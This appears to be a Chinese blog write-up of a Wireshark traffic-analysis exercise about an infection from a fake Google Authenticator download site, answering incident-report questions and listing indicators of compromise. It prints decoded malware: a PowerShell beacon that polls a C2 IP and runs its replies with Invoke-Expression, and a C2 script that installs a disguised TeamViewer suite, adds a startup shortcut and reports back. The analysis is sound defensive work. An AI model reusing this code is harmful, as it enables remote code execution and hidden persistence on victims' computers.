Wireshark流量分析——2025-01-22 DOWNLOAD FROM FAKE SOFTWARE SITE
文件地址:2025-01-22-traffic-analysis-exercise.pcap.zip
解压密码:infected_20250122
背景信息

你在安全运营中心担任分析师职务。有客户联系了你们团队,称一位同事在搜索 Google Authenticator 后下载了可疑文件。来电者提供了一些信息,这些信息与社交媒体上的帖子内容类似。


根据来电者提供的初步信息,确认确实发生了感染。您获取了相关流量的数据包记录。经过分析,发现一些迹象与上述社交媒体帖子中提到的 GitHub 页面上的细节相符。确认发生了感染之后,您开始撰写事故报告。
来自 PCAP 的局域网段详细信息
- 局域网段范围:10.1.17[.]0/24(从 10.1.17[.]0 到 10.1.17[.]255)
- 域名:bluemoontuesday[.]com
- Active Directory 域控制器:10.1.17[.]2 - WIN-GSH54QLW48D
- AD 环境名称:BLUEMOONTUESDAY
- 局域网段网关:10.1.17[.]1
- 局域网段广播地址:10.1.17[.]255
任务
对于这项练习,请回答以下关于你的事件报告的问题:
- 受感染 Windows 客户端的 IP 地址是什么?
- 被感染 Windows 客户端的 MAC 地址是什么?
- 被感染 Windows 客户端的主机名是什么?
- 被感染的 Windows 客户端上的用户账户名是什么?
- 那个假冒的 Google Authenticator 页面的域名可能会是什么?
- 此次感染中,C2 服务器所使用的 IP 地址是什么?
分析
1.受感染 Windows 客户端的 IP 地址
从会话统计按字节数排序,流量最大的就是 10.1.17.215,基本锁定它是被感染的机器。
2.被感染 Windows 客户端的 MAC 地址
MAC 地址是 00:d0:b7:26:4a:74。
3.被感染 Windows 客户端的主机名
主机名 DESKTOP-L8C5GSJ
4.被感染的 Windows 客户端上的用户账户名
用户名 shutchenson
5.假冒的 Google Authenticator 页面的域名
翻了翻 DNS 解析记录,先看到 google-authenticator.burleson-appliance.net,紧接着就是 authenticatoor.org——比官方 authenticator 多了个 o,那肯定是仿冒域名。
6.C2 服务器所使用的 IP 地址

受感染主机访问了 5.252.153.241,下载 29842.ps1 后中招。之后一直和它保持通信:每隔 5 秒一次、请求路径和载荷大小都固定不变——典型的 C2 存活信标。

载荷解码后:
$SerialNumber = $fso.GetDrive("c:\").SerialNumber # C 盘序列号
$url = 'http://5.252.153.241/' + $serial
while ($true) {
$result = $s.DownloadString($url) # 每 5 秒轮询 C2
Invoke-Expression $result # 内存直接执行,无文件落地
Start-Sleep -s 5
}
解码完基本就实锤了,这就是个 C2 信标:拿 C 盘序列号拼 URL,每 5 秒去轮询一次,拿到内容直接 IEX 内存执行。

响应代码:
function Download-Files($panelIP, $files, $filesDir){
$web = New-Object System.Net.WebClient
try {
if(!(Test-Path $filesDir)) {
New-Item $filesDir -ItemType Directory | Out-Null
}
} catch {
return @{'status' = 'error'; 'message' = 'error while creating startup directory'}
}
foreach($file in $files) {
try {
$link = $file.link
$fileName = $file.name
$filePath = "$filesDir\$($file.name)"
$web.DownloadFile($link, $filePath)
if($fileName -eq $startupFile){
$exePath = $startupFile
}
} catch {
return @{'status' = 'error'; 'message' = "Error while download file. Filename: $($file.name). Link: $($link). Error: $($Error[0].exception.message)"}
}
}
return @{'status' = 'success'}
}
function Create-Shortcut($filePath, $shortCutpath){
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($shortCutpath)
$Shortcut.TargetPath = $filePath
$Shortcut.Save()
}
function Invoke-Startup($panelIP, $files, $filesDir, $startupFileName){
$result = Download-Files $panelIP $files $filesDir
if ($result.status -eq 'error'){
return $result
}
#$startupFilePath = "$filesDir\$startupFileName"
$startupFilePath = "C:\ProgramData\huo\TeamViewer.exe"
$shortcutPath = "$([Environment]::GetFolderPath('Startup'))\TeamViewer.lnk"
try {
Create-Shortcut $startupFilePath $shortcutPath
} catch {
return @{'status' = 'error'; 'message' = "Error while creating shortcut."}
}
return @{'status' = 'success'; 'message' = 'startup shortcut created'}
}
function Send-Log($result){
$log = "?k=$result"
$uploadUrl = $url + $log
$web = New-Object System.Net.WebClient
$web.DownloadString($uploadUrl)
}
function ConvertTo-StringData($hashTable){
foreach ($item in $hashTable) {
foreach ($entry in $item.GetEnumerator()) {
"{0} = {1}; " -f $entry.Key, $entry.Value
}
}
}
$filesDownloadLink = $ip + 'api/file/get-file/'
$filesDir = 'C:\ProgramData\huo'
$files = @(
@{'name' = 'TeamViewer.exe'; 'link' = $filesDownloadLink + 'TeamViewer'},
@{'name' = 'Teamviewer_Resource_fr.dll'; 'link' = $filesDownloadLink + 'Teamviewer_Resource_fr'},
@{'name' = 'TV.dll'; 'link' = $filesDownloadLink + 'TV'}
@{'name' = 'pas.ps1'; 'link' = $filesDownloadLink + 'pas.ps1'}
)
$startupFile = 'TeamViewer.exe'
$result = Invoke-Startup $panelIP $files $filesDir $startupFile
$result = ConvertTo-StringData($result)
Send-Log($result)
这段脚本干的事:从 C2 下载伪装成 TeamViewer 的文件套件(exe + dll + 脚本)放到隐藏目录,再建一个启动快捷方式实现开机自启,最后把执行结果回传给攻击者——一次完整的投递 + 驻留。
这里的 pas.ps1 和 29842.ps1 内容一模一样。
后续就是 C2 通信了,不过这里发现个有意思的点:最开始找受感染 IP 时看的会话统计里,通信最多的 IP 其实不是 5.252.153.241,而是 45.125.66.32。

跟这个 IP 走的是 TLS 加密,但端口却是 2917 这种非标准端口,基本可以确认有问题。
不过没查到任何相关的 DNS 解析记录,C2 下发的明文命令也没发现,大概率是写在 teamviewer.exe 或 TV.dll 这类文件里,这里没有深入分析。
这条 TLS 连接持续了 18582 个包、将近半小时。结束后又冒出一条新的 TLS 会话,IP 是 45.125.66.252——和 45.125.66.32 隶属同一网段,同样通信了 16204 个包,从 20:00:13 开始,与前面那条还有重叠。合理怀疑它俩都是 C2 服务器。

会话排前五的 IP 里,除了这三个可疑的,另外两个分别是azure.microsoft.com和 e86303.dscx.akamaiedge.net 的解析地址,都是正常的。
所以结论:C2 服务器 IP 一共有三个——5.252.153.241、45.125.66.32、45.125.66.252。
结果
- 受感染 Windows 客户端的 IP 地址是什么?10.1.17.215
- 被感染 Windows 客户端的 MAC 地址是什么?00:d0:b7:26:4a:74
- 被感染 Windows 客户端的主机名是什么?DESKTOP-L8C5GSJ
- 被感染的 Windows 客户端上的用户账户名是什么?shutchenson
- 那个假冒的 Google Authenticator 页面的域名可能会是什么?authenticatoor.org
- 此次感染中,C2 服务器所使用的 IP 地址是什么?5.252.153.241、45.125.66.32、45.125.66.252
拓展
IOC
网络指标
| 类型 | 值 | 说明 |
|---|---|---|
| 恶意域名 | authenticatoor.org |
仿冒 Google Authenticator 页面(比官方多一个 "o") |
| 恶意域名 | google-authenticator.burleson-appliance.net |
仿冒页跳转域名(Cloudflare 托管) |
| 恶意域名 | appointedtimeagriculture.com |
可疑域名 → 217.70.186.109 |
| 动态 DNS | ping3.dyngate.com |
DynGate 客户端,查询 700+ 次(抓包期 NXDOMAIN) |
| 主 C2 IP | 5.252.153.241:80 |
HTTP 明文 C2(Express),信标 + 文件分发 |
| 备用 C2 IP | 45.125.66.32:2917 |
TLS 自签名证书,加密通道 |
| 备用 C2 IP | 45.125.66.252:443 |
同网段后续出现,疑似第二备用通道 |
| 仿冒站点 IP | 82.221.136.26:443 |
托管 authenticatoor.org |
| 恶意域名 IP | 217.70.186.109 |
appointedtimeagriculture.com 解析 |
文件指标
| 文件 | 大小 | 类型 | 作用 |
|---|---|---|---|
264872 |
417 B | HTML + VBScript | 初始载荷:调用 powershell 下载下一阶段 |
29842.ps1 |
1,512 B | PowerShell(混淆 Base64) | C2 心跳下载器(卷序列号拼 URL) |
pas.ps1 |
1,553 B | PowerShell(混淆 Base64) | 与 29842.ps1 完全相同的持久化副本 |
TeamViewer.exe |
4,380,968 B | PE 可执行 | 伪装成 TeamViewer 的恶意工具 |
Teamviewer_Resource_fr.dll |
668,968 B | DLL | TeamViewer 配套载荷 |
TV.dll |
— | DLL | 配套载荷 |
| 354KB 工具脚本 ×3 | 354,353 B | PowerShell | C2 下发工具集(Download-Files/Create-Shortcut/Send-Log) |
主机指标(受害主机)
| 项 | 值 |
|---|---|
| IP | 10.1.17.215 |
| MAC | 00:d0:b7:26:4a:74(Intel) |
| 主机名 | DESKTOP-L8C5GSJ |
| 用户名 | shutchenson |
行为特征 / 通信特征
- 信标:
GET http://5.252.153.241/1517096937,固定 5 秒间隔,响应 404 - 下载 URL:
http://5.252.153.241/api/file/get-file/{29842.ps1|pas.ps1|TeamViewer|Teamviewer_Resource_fr|TV} - 日志回传:
GET /1517096937?k=message=startup shortcut created; status=success - User-Agent:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) - 证书指纹:自签名,
CN = "45.125.66.32: Self-signed certificate",SAN = 45.125.66.32 - 持久化路径:
C:\ProgramData\huo\TeamViewer.exe+ 启动文件夹TeamViewer.lnk - 旁证:主 C2 服务器响应头
X-Powered-By: Express




浙公网安备 33010602011771号